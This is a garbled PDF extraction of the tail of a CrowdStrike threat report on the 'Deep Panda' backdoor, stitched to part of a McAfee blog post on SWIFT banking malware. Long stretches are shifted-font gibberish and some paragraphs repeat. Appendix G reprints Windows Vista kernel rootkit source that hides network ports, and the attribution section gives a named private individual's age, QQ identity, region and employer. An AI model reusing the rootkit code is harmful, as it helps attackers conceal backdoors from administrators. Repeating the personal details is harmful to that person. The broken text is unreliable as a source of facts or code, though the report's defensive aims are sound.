cgi?loginid classtype:backdoor sid:123462 rev:27122011) alert tcp any any  any any (msg: BackDoor C2 content: POST /Catelog/ login1.cgi HTTP/1.1 content:User-Agent: Mozilla/4.0 classtype:backdoor sid:123461 rev:27122011) DEEP PANDA 7KHIROORZLQJOHV\VWHPDUWLIDFWVDUHLQGLFDWLYHRIDFRPSURPLVHGKRVW Dropper/DLL C:\Documents and Settings\All Users\Documents\infoadmn.dll (TS: 2007-03-07 00:00:00) C:\Documents and Settings\All Users\Documents\infoctrs.dll (TS: 2007-03-07 00:00:00) C:\Documents and Settings\All Users\Documents\infocardapi.dll (TS: 2007-03-07 00:00:00) MD5: 47619fca20895abc83807321cbb80a3d Post Explotiation Tool MD5: 2dce7fc3f52a692d8a84a0c182519133 Backdoor MD5: de7500fc1065a081180841f32f06a537 Kernel Driver: MD5: dae6b9b3b8e39b08b10a51a6457444d8 sysdir\Drivers\6AB5E732-DFA9-4618-AF1C-F0D9DEF0E222.sys The following Windows Registry artifacts are indicative of a compromised host: Dropper/DLL HKLM\\SYSTEM\\CurrentControlSet\\Services\\msupdate HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost which will have the msupdate key set to msupdate Backdoor HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Msres3 character rand.ttf Dropper/DLL Username: _DomainUser_ Password:Dom4nUserP4ss Backdoor The backdoor may be detected by several different Anti-Virus products under a signature with the name: Derusbi Kernel Driver Object: 8CB2ff21-0166-4cf1-BD8F-E190BC7902DC File System Artifacts Registry Artifacts Other Artifacts S  E  N  S  I  T  I  V E 19CROWDSTRIKE DEEP PANDA Attribution in the cyber domain is always a tricky subject when relying solely on malicious samples.
Compiler artifacts and language settings can of course be deliberately masked or spoofed.
CrowdStrike uses a unique approach of comprehensive threat analysis in order to decipher attributable components.
Based on the corroborating evidence discovered in the course of this analysis, it appears there are numerous indications that this is a Chinese-speaking actor.
KXRQJ)DQJXH[HLVDFRPSRQHQWRI , a Chinese security product available from http://www.360.cn/.
This is particularly relevant in this case because the backdoor DLL sample with an MD5 RIGHIFDIIDVSHFLFDOO\DYRLGVLQVWDOOLQJWKHNHUQHOGULYHURQDV\VWHPUXQQLQJ this tool.
Speculatively this may be because this security product detects this rootkit, or the author was attempting to prevent accidental infection on systems running this Anti-Virus product.
The obfuscation of the KdDisableDebugger() function call is seen on several  Chinese language forums, and can be seen being reused in several code samples on those forums.
As previously mentioned there is no advantage associated with using this call obfuscation, and appears to be reused for no apparent reason other than the attackers have copied code directly from forum code.
While the various network hooking techniques used in the kernel driver may appear novel or well UHVHDUFKHGXSRQFORVHLQVSHFWLRQLWLVDFWXDOO\DOLQHIRUOLQHFRS\RIDQH[LVWLQJSRVWIURPWKHQRZRILQH rootkit.com by a Chinese language developer.
This post is currently mirrored on dozens of Chinese hacking websites.
Similarly the system call hooking is less impressive after searching for IoAllocateMdl and cr0 (bbs.pediy.
com/showthread.php?t77467ZKLFKLGHQWLHVKLQHVHIRUXPZHEVLWHVZLWKDOPRVWLGHQWLFDOFRGHWR perform system call hooking through MDLs.
The ldasm inline hooking is also repeated in numerous postings to Chinese forums.
One particular website (http://read.pudn.com/downloads197/sourcecode/windows/sys- tem/927802/CCRootkit/RootkitSys/HookSSDT.c__.htm) had an almost identical ldasm loop that tried to identify the exact same code sequences.
Open source research of the 4 innocuous kernel APIs Z6DYH.H\Z4XHU\9DOXH.H\Z(QXPHUDWH9DOXH.H\,ROORFDWH0GOLQFRQFHUWOHDGVGLUHFWO\WRD Chinese website that has a cached rootkit performing similar hooks on the same 3 registry related APIs.
While the driver does not use pool tags for most of its allocations, it does utilize them in the networking hooking code, much like the examples found on the Chinese language forums.
This sample uses pool tags: tnet, and KDTR.
Although the meaning of the KDTR tag is not ATTRIBUTION S  E  N  S  I  T  I  V E 20CROWDSTRIKE 1 http://bbs.pediy.com/showthread.php?t125358 http://kost0911.pixnet.net/blog/post/36914183-anti-anti-windbg DEEP PANDA REYLRXVZHDVVHVVZLWKKLJKFRQGHQFHWKDWWKLVLVDVKRUWHQHGYHUVLRQRI.HUQHOH7RX5ZKLFK coincides with the matching functionality of the detour-style inline hook.
The driver code (MD5: dae6b9b3b8e39b08b10a51a6457444d8) appears to be a combination of various code that is easily searchable on the Internet, and almost always attributed to Chinese language forums and websites.
The system call hooking parts of the code appear to be identical to the HookSSDT.c code authored by Steven Lai embedlinux and utilized in what the author titled CC Rootkit on on August 4, 2008 whos email address is hqulyc126.com.
This user has a QQ identity of: 5054-3533, QQ is a popular LQVWDQWPHVVDJLQJFKDWFOLHQWXVHGDOPRVWH[FOXVLYHO\LQKLQDLVUHDOQDPHDFFRUGLQJWRKLV44SUROH (http://user.qzone.qq.com/50543533) appears to be Steven Lai.
He was is 28 years old (born September 5, DQGOLYHVLQLDPHQ)XMLDQSURYLQFH1DQMLQJ0LOLWDU\5HJLRQFFRUGLQJWRKLVSUROHKHKDVZRUNHG at Xiamen XOCECO New Technic Co., Ltd. (http://www.likego.com/en/about.asp), a company that builds DXGLRYLGHRV\VWHPVIRUWUDQVSRUWDWLRQV\VWHPV0U/DLLVQRWEHLQJLGHQWLHGDVWKHDFWRUKLVFRGH however was used by whomever built the kernel driver utilized by the backdoor and for this reason we are providing the background on this individual.
S  E  N  S  I  T  I  V E 21CROWDSTRIKE DEEP PANDA S  E  N  S  I  T  I  V E 22CROWDSTRIKE )LJXUH3LFWXUHWDNHQIURP6WHYHQ/DLV443UROH3DJH DEEP PANDA For more information about Intelligence-as-a-Service or specific attribution information on Deep Panda, contact the CrowdStrike Global Intelligence Team ATTRIBUTION S  E  N  S  I  T  I  V E 23CROWDSTRIKE )LJXUH3LFWXUHWDNHQIURP6WHYHQ/DLV443UROH3DJH DEEP PANDA For more information about Intelligence-as-a-Service or specific attribution information on Deep Panda, contact the CrowdStrike Global Intelligence Team ATTRIBUTION S  E  N  S  I  T  I  V ECROWDSTRIKE )LJXUH3LFWXUHWDNHQIURP6WHYHQ/DLV44SUROHSDJH 3DUWVRI5RRWNLWSDFNDJHDSSHDUWRKDYHEHHQPRGLHGRUFRPSOHWHO\UHXVHGLQWKLVVDPSOH (http://read.pudn.com/downloads197/sourcecode/windows/system/927802/CCRootkit/RootkitSys/HookSS- DT.c__.htm).
According to this Linux driver development guide embedlinux published on July 31, 2008 (http://wenku.
baidu.com/view/e24205294b73f242336c5f45.html), t 24 DEEP PANDA For more information about Intelligence-as-a-Service or specific attribution information on Deep Panda, contact the CrowdStrike Global Intelligence Team ATTRIBUTION The samples involved in this incident are typical of attacks commonly associated with the Peoples Republic of China (PRC).
These code samples have a variety of Tools, Techniques, and Procedures (TTPs) WKDWDUHXVHGWRWUDFNDQGLGHQWLI\VSHFLFDGYHUVDU\JURXSV7KHVRSKLVWLFDWLRQRIWKHDFWRUUHVSRQVLEOHIRU WKLVLQFLGHQWLVGLIFXOWWRTXDQWLI\ZLWKRXWYLVLELOLW\LQWRWKHDFWLYLWLHVWKDWWUDQVSLUHGRQWKHYLFWLPVQHWZRUN The ability to conduct Incident Response (IR) including forensics, and log analysis, greatly augments this visibility into these aspects of the incident.
Some indications as to the adversaries capabilities can be derived from the captured samples alone.
The dropper code (MD5: 14c04f88dc97aef3e9b516ef208a2bf5) does not utilize any techniques that are unique or unusual, and is consistent with tools, techniques, and procedures of attacks targeting proprietary information and generally attributed to the PRC.
The presence of dead code and its replacement by a more VLPSOHREIXVFDWLRQPHWKRGWRKLGHWKHWREHGURSSHGGOOELQDU\OHLQGLFDWHVFRGHUHXVHRQWKHDWWDFNHU side.
The dead code utilizes a more sophisticated compression algorithm provided by a third party which was rendered useless for some reason.
This may have been a result of the attacker modifying an existing tool, or unknowingly using a re-purposed tool.
The dropper resources indicate the compiler used to build the tool was running on a system that utilized the Chinese Simple language pack and was built on Wednesday May 4th, 2011 at 11:04:24 A.M. UTC (early evening time in China).
While this can be deliberately spoofed DVDIDOVHDJRWKHULQGLFDWRUVLQFOXGLQJWKHDUHFRQVLVWHQWZLWKWKLVKDYLQJEHHQWKHZRUNRIDKLQHVH speaking actor.
The dropped DLL (MD5: 47619fca20895abc83807321cbb80a3d) itself contains functionality that is typical RID5HPRWHFFHVV7RRO57ZKLFKDUHFRPPRQO\XVHGE\35EDVHGDFWRUVLQGDWDH[OWUDWLRQDWWDFNV 7KHFRGHTXDOLW\LVQRWLPSUHVVLYHDQGFRQWDLQVDWULYLDOVWDFNEXIIHURYHURZYXOQHUDELOLW\HVSLWHWKHEXI- IHURYHURZWKHFKDQQHOODFNVDQ\FRPPDQGDXWKHQWLFDWLRQRUHQFU\SWLRQDSDUWIURPWKHLQLWLDOEHDFRQ encryption/obfuscation using a statically compiled XOR key.
The sample uses TCP port 443 for commu- nication, but makes no attempt to mimic the SSL protocol typically used on that port number, which would provide enhanced Operational Security (OPSEC).
This code appears to have been compiled on Wednes- day May 4th, 2011 at 10:48:19 A.M. UTC (early evening time in China).
The post exploitation tool (MD5: 2dce7fc3f52a692d8a84a0c182519133) is a dual-use tool, it can be dropped and executed by a client-side exploit, or the adversary can launch it using a variety of command line options.
This tool is built in Microsoft .NET framework, which is typically an indication of a less sophis- ticated attacker, because .NET is easier to develop in but requires the .NET framework be present on the victim machine.
The tool appears to have been compiled on Thursday May 26th, 2011 at 10:21:44 A.M. UTC (early evening time in China).
The sample utilizes the AES cryptographic algorithm to protect its C2 communications.
CONCLUSION S  E  N  S  I  T  I  V E 25CROWDSTRIKE Dropper/Implant 1 Post Exploitation Tool DEEP PANDA S  E  N  S  I  T  I  V E 26CROWDSTRIKE This DLL is a moderately sophisticated backdoor with several well designed communication mechanisms not typically seen in these types of implants.
The code base for the sample was developed in C.  The code appears to have been compiled on Sunday October 30, 2011 at 12:43:33 P.M. UTC (late evening time in China).
This sample has multiple communication capabilities available that makes it far more versatile and stealthy.
It implements relatively well thought out protocols including HTTP and DNS.
The tool has the ability to automatically down select the most effective communication channel once it has been instantiated, which can help avoid detection from solutions like DNS blacklisting and RFC protocol enforcement.
The DLL itself contains traces of the original C class names that were utilized in the source code, which in JHQHUDOZHUHSUH[HGZLWK37KHVDPSOHVXSSRUWVWKHDELOLW\WRDFWDVDJHQHULFSUR[\WKLVPD\EH LQWHQGHGWRSUR[\WUDIFIRURWKHULQIHFWHGPDFKLQHVLQRUGHUWRPLQLPL]HWKHQXPEHURIV\VWHPV communicating to the C2, thus enhancing OPSEC.
The sample contains dead code which appears to be command and control server classes, this is likely an indicator that the C2 client which would communicate with this sample shares the same communications library which was compiled into this sample.
System Driver The kernel driver component dropped by the Backdoor DLL bears many tool marks associating it with the CCRootkit package publicly by Steven Lai (a/k/a embedlinux).
This kernel mode rootkit implements several hooking techniques that are aimed at preventing a system administrator from detecting the backdoor DLL.
The implementation of these techniques has some unique idiosyncrasies that permit direct attribution to the source code Steven Lai posted.
This driver attempts to hide a wide swath of TCP ports (40000-45000) for an unknown reason, however it is suspected that this may relate to the potential network relaying capability alluded to for the backdoor dll.
The kernel driver component dropped by the Backdoor DLL bears many tool marks associating it with the CCRootkit package publicly by Steven Lai (a/k/a embedlinux).
This kernel mode rootkit implements several hooking techniques that are aimed at preventing a system administrator from detecting the backdoor DLL.
The implementation of these techniques has some unique idiosyncrasies that permit direct attribution to the source code Steven Lai posted.
This driver attempts to hide a wide swath of TCP ports (40000-45000) for an unknown reason, however it is suspected that this may relate to the potential network relaying capability alluded to for the backdoor dll.
Implant 2 Backdoor DLL System Driver DEEP PANDA 7KHIROORZLQJDUHFRPPDQGOLQHRSWLRQVLGHQWLHGLQWKHVDPSOH iu - impersonate user, iu represents a username and expects the following additional arguments.
id -domain ip -password f - perform command based on value.
Possible values listed below sh - Connect to C2.
x - hostname, connect to http address to download y - port u - username w - password l - set up listener s - hostname p - port v - display communication protocol version dlGRZQORDGOH url - url to download from.
OHSDWKWRVDYHOHWR ulXSORDGOH url - url to upload to.
OHOHWRXSORDG clUHSODFHFRQWHQWVRIOHVLQGLUHFWRU\SPDWFKLQJZLOGFDUGSDWWHUQPZLWKOLVWRI UHJH[HV7KLVFRPPDQGZLOOVHDUFKOLQHE\OLQHDPDWFKLQJOHDQGOWHURXWFRQWHQWV PDWFKLQJWKHVXSSOLHGUHJH[HVLWZLOOWKHQVHWWKHPRGLI\FUHDWHGDWHWRWKHRULJLQDOOHVR as to hide the tampering.
p - target path mOHZLOGFDUGSDWWHUQ DUJXPHQWV tuRS\ODVWDFFHVVODVWPRGLI\DQGFUHDWLRQWLPHIURPOHU,IUGRHVQRWH[LVWDGHIDXOW date of 11-30-2005:12:00:00 with the UTC offset of the system applied.
p - target path mOHZLOGFDUG rUHIHUHQFHOH dGXPS6\VWHP,2)LOH,QIRIRUOHWWRFRQVROH tSDWKWROH wmi - perform Windows Management Instrumentation (WMI) command s - machine u - username p - password DNHUEHURV m - can be one of the following 3 items APPENDIX S  E  N  S  I  T  I  V E 27CROWDSTRIKE Appendix A: Command Line Options for Post Exploitation Tool Sample (MD5: 2dce7fc3f52a692d8a84a0c182519133 DEEP PANDA Appendix B: Algorithm for computing machine ID Appendix C: Remote Commands Supported by .NET Backdoor Post Exploita- tion Tool Sample TXHU\UXQ:0,TXHU\ TTXHU\ FDOOFDOO:0, TWDUJHWWRFDOORQ FPHWKRGWRLQYRNH DUUD\RIDUJXPHQWVWRWKHFDOO JHWGRQRWKLQJ UDUXQDV UXXVHUQDPH UGGRPDLQ USSDVVZRUG ZSZLWKSUROH DUUD\RIDUJXPHQWVIRUVWDUWSURFHVV public class RcDataCommand  public byte channelHint public RcDataCommandId cmdID public RcDataCommandType cmdType public string extraInfo public string string_0  Implemented values for cmdID are as follows: UHDWH6KHOO([HFXWHDSSOLFDWLRQDQGVHQGRXWSXWWR 5HDG)LOH8SORDGOHWR ([HFXWH([HFXWHDSSOLFDWLRQDQGVHQGRXWSXWWR S  E  N  S  I  T  I  V E 28CROWDSTRIKE char ch  L foreach(char ch2 in Environment.
MachineName)  ch  (char)(ch  ch2)  byte num3  (byte)ch return (GetVolumeSerial()  (uint)(((num3  (num3  0x100))  (num3 0x10000)) (num3  0x1000000))) DEEP PANDA cmdType can be one of the following (Interesting commands explained in detail): 1RQH RPPDQG ,QIR (UURU HDUWHDW KDQQHOUHDWH KDQQHOLQG KDQQHO7HUPLQDWH KDQQHO5HTXHVWUHDWH KDQQHO5HTXHVWRQUPDWLRQFFHSW KDQQHO5HTXHVWRQUPDWLRQHQLHG 2EMHFWH[WUD,QIRSDUDPHWHULVDQ0/VHULDOL]HGREMHFW VWULQJB  GRZQORDGDOHRU1(7PRGXOH VWULQJB  FRQQHFWWR,3DGGUHVV ,QLWLOL]H6WULQJ7DEOH OHDU0HPRU\)LOHVFOHDUOLVWRIGRZQORDGHGPRGXOHV /RDG0RGXOHORDGDSUHYLRXVO\GRZQORDGHGPRGXOH VWULQJBQDPHRIPRGXOHWRORDG 8QORDG0RGXOH 0RGXOH/LVW5HSRUW DOO0RGXOH0HWKRGDOOPHWKRGLQORDGHGPRGXOH VWULQJBFRQWDLQVPRGXOHQDPH H[WUD,QIRFRQWDLQVDUJXPHQWVWRWKHPHWKRG KDQQHO6SHFLHGRPPDQG 6D\RRG\H KDQQHO,QLWLDOL]H(UURU 5HTXHVWVVHPEO\HSHQGHQW 5HVSRQVHVVHPEO\HSHQGHQW RQQHFW6XFFHVVHG RQQHFW)DLOHG KDQQHO5HTXHVW7FSRQQHFW KDQQHO5HTXHVW8GSRQQHFW XVWRPL]HG S  E  N  S  I  T  I  V E 29CROWDSTRIKE DEEP PANDA S  E  N  S  I  T  I  V E 30CROWDSTRIKE string_0 can have one of the following values dependant upon command id and type.
QHZEORFN VHHN VHWHQG QLVKOH VWRS VWDUWFRS\ VVRL DERUW (YW 2WKHUYDOXHVFDOFXODWHGDWUXQWLPH Appendix D: Raw bytes of example Authentication packet.
Appendix E: Initialization of KEY and IV for AES 03 01 74 80 82 21 b5 64 c2 74 22 e3 02 00 00 00 49 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 for (int i  0 i  0x20 i ) for (int i  0 i  0x20 i )  buffer[i]  (byte)((i  8)  ((byte)password[num])) buffer[i]  (byte)(buffer[i]  170) num  num  password.
Length DEEP PANDA S  E  N  S  I  T  I  V E 31CROWDSTRIKE Appendix F: Command  Control Servers C2 Server 1.9.5.38 Port Geolocation Whois Samples Used In 443 Bukit Mertajam, Maylasia inetnum:        1.9.0.0 - 1.9.255.255 netname: TMNET-AS-AP descr:          Tmnet, Telekom Malaysia Bhd.
descr:          Telekom Malaysia Berhad descr:          44th Floor, Global Data Marketing, TM Global descr:          Jalan Pantai Baharu country:        MY admin-c:        TA35- AP tech-c:        TA35-AP mnt-by:        AP- NIC-HM mnt-lower:      TM- NET-AP mnt-routes:     TM- NET-AP status:         ALLO- CATED PORTABLE remarks:        ---- ---------- ---------- -- remarks:        This object can only be updated by APNIC hostmasters.
remarks:        To update this object, please contact APNIC remarks:        host- masters and include your organisations account remarks:        name in the subject line.
remarks:        ---- ---------- ---------- -- changed:        hm- changedapnic.net 20100610 source:         APNIC 47619fca20895abc83807321cbb80a3d DEEP PANDA S  E  N  S  I  T  I  V E 32CROWDSTRIKE C2 Server 202.86.190.3 Port Geolocation Whois Samples Used In 80 Hong Kong inetnum: 202.86.190.0 - 202.86.191.255 netname:        Tele- One-HK country:        HK descr:          Te- leOne(HK) Limited admin-c:        HL13 tech-c:        AC612-AP status:         AS- SIGNED NON-POR- TABLE changed:        an- gusedu.ctm.net 20041122 mnt-by:        MAINT- CTM-MO source:         APNIC 2dce7fc3f52a692d8a84a0c182519133 de7500fc1065a081180841f32f06a537 Appendix G: Edward Suns kernel network hook code : [ ]NSI Module Hook : Hiding Port Under Windows Vista [ ] : eviloctal    : 2007-7-8 20:53      : [ ]NSI Module Hook : Hiding Port Under Windows Vista http://rootkit.com/newsread_print.php?newsid735 (www.eviloctal.com) cardmagic writes: Windows Vista has changed alot on network module, many old port hiding materials are no longer usable.
In this post, I will share with you a simple code to hide port under Vista,hope it is useful for some guys .
Actually under Windows Vista, netstat.exe will call InternalGetTcpTable2 which is exported by Iphlpapi.dll to list all open ports,then InternalGetTcpTable2 will transfer control to NsiAllocateAndGetTable which is exported by nsi.dll, DQGQDOO\QVLGOOLQYROYH1VL(QXPHUDWH2EMHFWVOO3DUDPHWHUV([WRLQWHUDFWZLWK kernel mode module of NSI -- nsiproxy.sys.
nsiproxy.sys is almost like a wrapper of netio.sys, it will then call internal subroutines of netio.sys .
Here ,we will use a relatively easy way -- NSI Kernel Module Dispatch Routine RRNWRGHPRVWUDWHWKHVSHFLHGSRUWKLGLQJXQHU9LVWDLVSDWFKURXWLQHKRRN is an old topic, this time ,we will apply this method to nsiproxy.sys.
Please IRFXVRQKRZWRKDQGOHWKHFRQWHQWOWHULQJRI16, Check the following code(Notice: I only tested it under Windows Vista RTM 32bit): DEEP PANDA : /////////////////////////////////////////////////////////////////////////////// //////// // Filename: PortHidDemo_Vista.c // // Author: CardMagic(Edward) // Email: [email]sunmy1sina.com[/email] 061RQO\RQHMD]]DWKRWPDLOFRP // // Description: //      A Demostration Of Hiding 6SHFLHG3RUW8QGHU:LQGRZV9LVWD570ELW //   Tested Under Windows Vista Kernel Version 6000 MP (1 procs) Free x86 com- patible // // include stdlib.h include ntifs.h unsigned short htons(unsigned short hostshort) unsigned long inet_addr(const char name) typedef unsigned long DWORD GHQH/2/,(,3 GHQH/2/,(3257 GHQH,27/B16,B(7//350[ H[WHUQ32-(7B73( ,RHYLFH2EMHFW7\SH ,RULYHU2EMHFW7\SH 35,9(5B2-(7S1VLUY2EM PDRIVER_DISPATCH orgNsiDeviceIoControl  0 DWORD gLocalPort0,gLocalIp0 typedef struct _HP_CONTEXT  PIO_COMPLETION_ROUTINE oldIocomplete PVOID oldCtx BOOLEAN bShouldInvolve PKPROCESS pcb HP_CONTEXT,PHP_CONTEXT S  E  N  S  I  T  I  V E 33CROWDSTRIKE DEEP PANDA INTERNAL_TCP_TABLE_SUBENTRY,PINTERNAL_TCP_TABLE_SUBENTRY typedef struct _INTERNAL_TCP_TABLE_ENTRY  INTERNAL_TCP_TABLE_SUBENTRY localEntry INTERNAL_TCP_TABLE_SUBENTRY remoteEntry INTERNAL_TCP_TABLE_ENTRY,PINTERNAL_TCP_TABLE_ENTRY typedef struct _NSI_STATUS_ENTRY  FKDUE\WHVOO NSI_STATUS_ENTRY,PNSI_STATUS_ENTRY typedef struct _NSI_PARAM  // // Total 3CH size // DWORD UnknownParam1 DWORD UnknownParam2 DWORD UnknownParam3 DWORD UnknownParam4 DWORD UnknownParam5 DWORD UnknownParam6 PVOID lpMem DWORD UnknownParam8 DWORD UnknownParam9 DWORD UnknownParam10 PNSI_STATUS_ENTRY lpStatus DWORD UnknownParam12 DWORD UnknownParam13 DWORD UnknownParam14 DWORD TcpConnCount NSI_PARAM,PNSI_PARAM unsigned short htons(unsigned short a)  unsigned short b  a b  ( b  8 ) a  ( a  8 ) return ( a  b )  S  E  N  S  I  T  I  V E 34CROWDSTRIKE DEEP PANDA S  E  N  S  I  T  I  V E 35CROWDSTRIKE unsigned long inet_addrt(const char name)  LQWLMS int len  strlen(name) unsigned long temp_val[4] char namesec[10] IRUL M S LOHQL  memset(namesec,0,10) if(39.39  name[i])  if(p) strncpy(namesec,namep1,i-p) else strncpy(namesec,name,i) WHPSBYDOM DWRLQDPHVHF M p  i   strncpy(namesec,namep1,i-p) WHPSBYDOM DWRLQDPHVHF return (temp_val[0](temp_val[1]8)(temp_val[2]16)(temp_val[3]24))  NTSTATUS HPCompletion( ,13(9,(B2-(7HYLFH2EMHFW IN PIRP Irp, IN PVOID Context )  PIO_STACK_LOCATION irpsp  IoGetCurrentIrpStackLocation(Irp) PIO_STACK_LOCATION irpspNext  IoGetNextIrpStackLocation(Irp) PHP_CONTEXT pCtx  Context PNSI_PARAM nsiParam int i if(NT_SUCCESS(Irp-IoStatus.
Status))  DEEP PANDA S  E  N  S  I  T  I  V E 36CROWDSTRIKE nsiParam  Irp-UserBuffer if(MmIsAddressValid(nsiParam-lpMem))  // // netstat will involve internal calls which will use // nsiParam structure // if(  (nsiParam-UnknownParam8  0x38))  KAPC_STATE apcstate PNSI_STATUS_ENTRY pStatusEntry  (PNSI_STATUS_ENTRY)nsiParam-lpStatus PINTERNAL_TCP_TABLE_ENTRY pTcpEntry  (PINTERNAL_TCP_TABLE_ENTRY)nsi- Param-lpMem int nItemCnt  nsiParam-TcpConnCount KeStackAttachProcess(pCtx-pcb,apcstate) // //make sure we are in the context of original process // for(i  0i  nItemCnti )  if((pTcpEntry[i].localEntry.dwIP  gLocalIp)(pTcpEntry[i].localEn- try.
Port  gLocalPort))  // //NSI will map status array entry to tcp table array entry //we must modify both synchronously // RtlCopyMemory(pTcpEntry[i],pTcpEntry[i1],sizeof(INTERNAL_TCP_TA- BLE_ENTRY)(nItemCnt-i)) RtlCopyMemory(pStatusEntry[i],pStatusEntry[i1],sizeof(NSI_STA- TUS_ENTRY)(nItemCnt-i)) nItemCnt-- nsiParam-TcpConnCount -- i--   KeUnstackDetachProcess(apcstate)    DEEP PANDA S  E  N  S  I  T  I  V E 37CROWDSTRIKE irpspNext-Context  pCtx-oldCtx irpspNext-CompletionRoutine  pCtx-oldIocomplete // //free the fake context // ExFreePool(Context) if(pCtx-bShouldInvolve) UHWXUQLUSVS1H[WRPSOHWLRQ5RXWLQHHYLFH2EMHFW,USRQWH[W else  if (Irp-PendingReturned) IoMarkIrpPending(Irp)  return STATUS_SUCCESS   NTSTATUS 2E5HIHUHQFH2EMHFW\1DPH ,1381,2(B675,12EMHFW1DPH IN ULONG Attributes, IN PACCESS_STATE AccessState OPTIONAL, IN ACCESS_MASK DesiredAccess OPTIONAL, ,132-(7B73(2EMHFW7\SH IN KPROCESSOR_MODE AccessMode, IN OUT PVOID ParseContext OPTIONAL, 287392, 2EMHFW ) 176778638QORDG,135,9(5B2-(7ULYHU2EMHFW  LARGE_INTEGER waittime waittime.
QuadPart  -5010001000 ,QWHUORFNHG([FKDQJHS1VLUY2EM0DMRU)XQFWLRQ,53B0-B(9,(B21752/RU- gNsiDeviceIoControl) // //delay loading driver to make it more secure // DEEP PANDA S  E  N  S  I  T  I  V E 38CROWDSTRIKE KeDelayExecutionThread(KernelMode,0,waittime) return STATUS_SUCCESS  NTSTATUS HPDummyDeviceIoControl( ,13(9,(B2-(7HYLFH2EMHFW IN PIRP Irp )  ULONG     ioControlCode PIO_STACK_LOCATION irpStack ULONG     status irpStack  IoGetCurrentIrpStackLocation(Irp) ioControlCode  irpStack-Parameters.
DeviceIoControl.
IoControlCode if(IOCTL_NSI_GETALLPARAM  ioControlCode)  if(irpStack-Parameters.
DeviceIoControl.
InputBufferLength  sizeof(NSI_ PARAM))  // //only care the related I/O // PHP_CONTEXT ctx  (HP_CONTEXT)ExAllocatePool(NonPagedPool,sizeof(HP_CON- TEXT)) ctx-oldIocomplete  irpStack-CompletionRoutine ctx-oldCtx  irpStack-Context irpStack-CompletionRoutine  HPCompletion irpStack-Context  ctx ctx-pcb  IoGetCurrentProcess() if((irpStack-ControlSL_INVOKE_ON_SUCCESS) SL_INVOKE_ON_SUCCESS) ctx-bShouldInvolve  TRUE else ctx-bShouldInvolve  FALSE irpStack-Control  SL_INVOKE_ON_SUCCESS   DEEP PANDA S  E  N  S  I  T  I  V E 39CROWDSTRIKE // //call original I/O control routine // VWDWXV RUJ1VLHYLFH,RRQWUROHYLFH2EMHFW,US return status  NTSTATUS DriverEntry( ,135,9(5B2-(7ULYHU2EMHFW IN PUNICODE_STRING RegistryPath )  int i NTSTATUS status UNICODE_STRING uniNsiDrvName if DBG _asm int 3 //debug endif ULYHU2EMHFWULYHU8QORDG 38QORDG RtlInitUnicodeString(uniNsiDrvName,L\\Driver\\nsiproxy) VWDWXV 2E5HIHUHQFH2EMHFW\1DPHXQL1VLUY1DPH2-B6(B,16(16,- 7,9(18// ,RULYHU2EMHFW7\SH.HUQHO0RGH18//S1VLUY2EM if(NT_SUCCESS(status))  return STATUS_SUCCESS  // //store the original dispatch function of NSI driver // RUJ1VLHYLFH,RRQWURO S1VLUY2EM0DMRU)XQFWLRQ,53B0-B(9,(B21752/ gLocalIp  inet_addrt(LOCALHIDEIP) gLocalPort  htons(LOCALHIDEPORT) DEEP PANDA S  E  N  S  I  T  I  V E 40CROWDSTRIKE // //hook NSI dispatch routine // ,QWHUORFNHG([FKDQJHS1VLUY2EM0DMRU)XQFWLRQ,53B0-B(9,(B21752/3XP- myDeviceIoControl) return STATUS_SUCCESS  DEEP PANDA S  E  N  S  I  T  I  V E 41CROWDSTRIKE Appendix H: Command and Control MD5 Correlation MD5 Command and Control Server 47619fca20895abc83807321cbb80a3d 2dce7fc3f52a692d8a84a0c182519133 de7500fc1065a081180841f32f06a537 1.9.5.38:443 202.86.190.3:80 202.86.190.3:80 DEEP PANDA
May 20, 2016 Attacks on SWIFT Banking System Benefit From Insider Knowledge securingtomorrow.mcafee.com/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge By Christiaan Beek on May 20, 2016 In recent months, weve seen headlines about the compromise of a bank in Bangladesh from which cybercriminals attempted to steal US951 million.
The malware they used was able to manipulate and read unique messages from SWIFT (Society for Worldwide Interbank Financial Telecommunication), as well as adjust balances and send details to a remote control server.
BAE Systems wrote a detailed analysis and concluded that the malware must be based on a framework of different modules that could be used for multiple targets.
This week SWIFT sent another warning without details about another bank, this time in Vietnam that was compromised.
According to a bank spokesperson, they detected in a timely manner the fraudulent transfer of 1.13 million in December 2015.
Because we know the attackers had some insight into the Bangladesh attack, McAfee assumed the attackers also knew something beforehand about the Vietnamese bank.
We investigated possible malware indicators for the latter attack.
Files used for the investigation: MD5: 0b9bf941e2539eaa34756a9e2c0d5343 MD5: 909e1b840909522fe6ba3d4dfd197d93 We focused our analysis primarily on the first sample.
The files compile timestamp is 2015- 12-04 02:04:23.
The first submission of the file from Vietnam was on December 22, 2015.
In the case of the Vietnamese bank, the file used for the attack is a fake version of the popular PDF reader Foxit.
The malware installs itself in the original Foxit installation directory and renames the original file to FoxltReader.exe.
Once the user starts using the fake reader, the malware executes and writes to a log file in the temp directory C:\\Windows\temp\\WRTU\ldksetup.tmp.
Analyzing this file, we see the log data is XOR encoded using the value 0x47.
1/4 https://securingtomorrow.mcafee.com/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/ https://securingtomorrow.mcafee.com/blogs/author/christiaan-beek/ https://securingtomorrow.mcafee.com/wp-content/uploads/20160520-SWIFT-1.png https://securingtomorrow.mcafee.com/wp-content/uploads/20160520-SWIFT-2.png https://securingtomorrow.mcafee.com/wp-content/uploads/20160520-SWIFT-3.png https://securingtomorrow.mcafee.com/wp-content/uploads/20160520-SWIFT-4.png https://securingtomorrow.mcafee.com/wp-content/uploads/20160520-SWIFT-5.png https://securingtomorrow.mcafee.com/wp-content/uploads/20160520-SWIFT-6.png https://securingtomorrow.mcafee.com/wp-content/uploads/20160520-SWIFT-7.png As in the case of the Bangladeshi bank, the malware uses the configuration file Lmutilps32.dat, which can also be found in C:\\Windows\\temp\WRTU\.
This file is also XOR encoded, with the value 0x7C4D5978.
Was this malware part of a targeted attack?
Yes, absolutely.
As in the malware used against the Bangladeshi bank, we found the SWIFT code for the target in multiple places in the malware: The code TPBVVNVX is the SWIFT code for the Tienphong Commercial Joint Stock Bank, in Hanoi.
We also noticed that there were more SWIFT codes in the code: These banks are based in Australia, Singapore, Japan, Korea, Vietnam, Italy, and the United States.
We wondered why the actors would put this particular list in the malware.
Further analyzing the working of the malware, we discovered an interesting part in the code concerning Executing the real Foxit reader and the next section in the code states PDFmodulation success.
